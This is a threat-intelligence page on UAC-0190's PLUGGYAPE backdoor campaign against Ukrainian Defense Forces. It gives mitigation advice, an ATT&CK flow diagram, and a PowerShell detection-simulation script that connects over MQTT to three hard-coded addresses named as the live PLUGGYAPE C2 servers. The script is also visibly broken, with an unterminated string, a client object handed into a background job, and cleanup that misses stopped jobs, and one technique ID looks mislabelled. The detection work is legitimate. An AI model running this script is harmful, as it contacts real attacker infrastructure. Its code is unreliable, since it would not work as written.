SOC Prime Bias: Critical

15 Jan 2026 19:13

“Unreliable Fund”: Targeted cyberattacks UAC-0190 against Ukrainian Defense Forces using PLUGGYAPE

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
“Unreliable Fund”: Targeted cyberattacks UAC-0190 against Ukrainian Defense Forces using PLUGGYAPE
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

CERT-UA disclosed a wave of targeted intrusions against personnel within the Ukrainian Defense Forces, with the operators posing as charitable fund representatives to increase trust and drive execution. The campaign deployed PLUGGYAPE, a bespoke Python-based backdoor, delivered through weaponized “document” files using deceptive double extensions (for example, .docx.pif and .pdf.exe) to masquerade as benign content. Once launched, the malware established command-and-control over MQTT or WebSocket channels, using a mix of compromised domains and IP-based infrastructure. CERT-UA linked the activity to the Void Blizzard (Laundry Bear) cluster.

Investigation

During analysis, responders gathered multiple malicious artifacts and confirmed that the payloads were PyInstaller-packed Python binaries presented as Office-like files to encourage execution. Network telemetry showed beaconing through MQTT brokers and WebSocket sessions to attacker-controlled endpoints, with some server addresses supplied indirectly—embedded as Base64 strings and retrieved from paste-style hosting services. The operators maintained persistence by creating a Run registry entry. Infrastructure indicators were corroborated through references found on paste platforms (including Pastebin and rentry) and several charity-themed domains used in the lure chain.

Mitigation

Treat unsolicited “document” files received via messengers as high risk, particularly attachments using double extensions or executable masquerading patterns. Implement application allowlisting and explicitly prevent execution of PyInstaller-packaged binaries where possible. Monitor for changes to common persistence locations, especially Run key modifications. At the network layer, block or tightly control outbound connectivity to known malicious domains and restrict egress to MQTT broker ports associated with the campaign’s command-and-control.

Response

Ingest the published IOCs into SIEM/EDR tooling and proactively hunt for PLUGGYAPE artifacts across endpoints, prioritizing systems used by targeted personnel. Isolate any suspected hosts and preserve endpoint and network evidence for scoping. Review registry persistence—especially Run entries—and examine network logs for anomalous MQTT/WebSocket traffic patterns. Escalate via incident response and applicable law-enforcement channels using the official contact pathways provided by CERT-UA.

"graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access["<b>Technique</b> – <b>T1659 Content Injection</b><br/><b>Description</b>: Inject malicious files via messaging platforms"] class initial_access technique malicious_file["<b>File</b> – Malicious documents<br/><b>Examples</b>: .docx.pif, .pdf.exe, obfuscated payload"] class malicious_file builtin user_execution["<b>Technique</b> – <b>T1204.002 User Execution</b><br/><b>Description</b>: Victim opens the malicious file"] class user_execution technique malware["<b>Malware</b> – Python backdoor compiled with PyInstaller<br/><b>Features</b>: Embedded payload, uses WebSocket and MQTT"] class malware malware persistence["<b>Technique</b> – <b>T1547.014 Registry Run Keys / Startup Folder</b><br/><b>Description</b>: Adds Runu2011key for autou2011start at logon"] class persistence technique discovery["<b>Technique</b> – <b>T1082 System Information Discovery</b><br/><b>Description</b>: Gathers OS details and hardware identifiers"] class discovery technique command_and_control["<b>Technique</b> – <b>T1071.001 Web Protocols</b> and <b>T1102.002 MQTT</b><br/><b>Description</b>: Communicates via WebSocket and MQTT, uses Base64u2011encoded URLs"] class command_and_control technique defense_evasion["<b>Technique</b> – <b>T1036.008 Masquerading</b>, <b>T1027.009 Obfuscated Files</b>, <b>T1497.002 Virtualization/Sandbox Evasion</b><br/><b>Description</b>: Hides binaries and checks for analysis environments"] class defense_evasion technique exfiltration["<b>Technique</b> – <b>T1011 Exfiltration Over Other Network Medium</b><br/><b>Description</b>: Sends collected data over the same C2 channel"] class exfiltration technique %% Connections initial_access –>|delivers| malicious_file malicious_file –>|opened by victim| user_execution user_execution –>|executes| malware malware –>|creates| persistence malware –>|gathers| discovery malware –>|connects to| command_and_control malware –>|employs| defense_evasion malware –>|exfiltrates via| exfiltration "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    1. Objective: Establish a C2 channel with PLUGGYAPE infrastructure using the MQTT protocol, mimicking a typical IoT device that silently reports data.
    2. Step‑by‑step:
      • The attacker drops a PowerShell script that loads the MQTTnet library.
      • It creates a persistent background job that connects to the malicious MQTT broker (one of the three hard‑coded IPs) on the standard MQTT port (1883).
      • After establishing the TCP session, it sends a minimal MQTT CONNECT packet followed by a periodic PUBLISH with encoded command data.
      • All network activity is performed under the context of a legitimate service account to blend with normal traffic.
  • Regression Test Script:

    # PLUGGYAPE C2 Simulation – MQTT over Windows
    # Requires MQTTnet (installed via PowerShell Gallery)
    # ---------------------------------------------------------
    # 1. Install MQTTnet if missing
    if (-not (Get-Module -ListAvailable -Name MQTTnet)) {
        Install-Module -Name MQTTnet -Scope CurrentUser -Force
    }
    
    # 2. Define malicious C2 endpoints
    $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216')
    $c2Port = 1883
    
    # 3. Randomly pick one C2 server to simulate realistic selection
    $targetIP = $c2IPs | Get-Random
    
    # 4. Build MQTT client
    $factory = New-Object MQTTnet.MqttFactory
    $client  = $factory.CreateMqttClient()
    $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new()
                 .WithTcpServer($targetIP, $c2Port)
                 .WithClientId(([guid]::NewGuid()).Guid)
                 .Build()
    
    # 5. Connect and start publishing in a background job
    $scriptBlock = {
        param($client,$options)
        try {
            $client.ConnectAsync($options).GetAwaiter().GetResult()
            Write-Host "Connected to PLUGGYAPE C2 at $($options.ChannelOptions.Server)`
    
            # Send a simple keep‑alive publish every 30 seconds
            while ($true) {
                $msg = [MQTTnet.MqttApplicationMessageBuilder]::new()
                           .WithTopic('data/heartbeat')
                           .WithPayload('alive')
                           .WithExactlyOnceQoS()
                           .Build()
                $client.PublishAsync($msg).GetAwaiter().GetResult()
                Start-Sleep -Seconds 30
            }
        } catch {
            Write-Error "C2 connection failed: $_"
        } finally {
            $client.DisconnectAsync() | Out-Null
        }
    }
    
    # Launch the job (runs in the background)
    $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options
    Write-Host "PLUGGYAPE C2 simulation job started (JobId=$($job.Id))."
  • Cleanup Commands:

    # Stop the background job and ensure MQTT client disconnects
    Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force
    Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force
    Write-Host "PLUGGYAPE C2 simulation stopped and cleanup complete."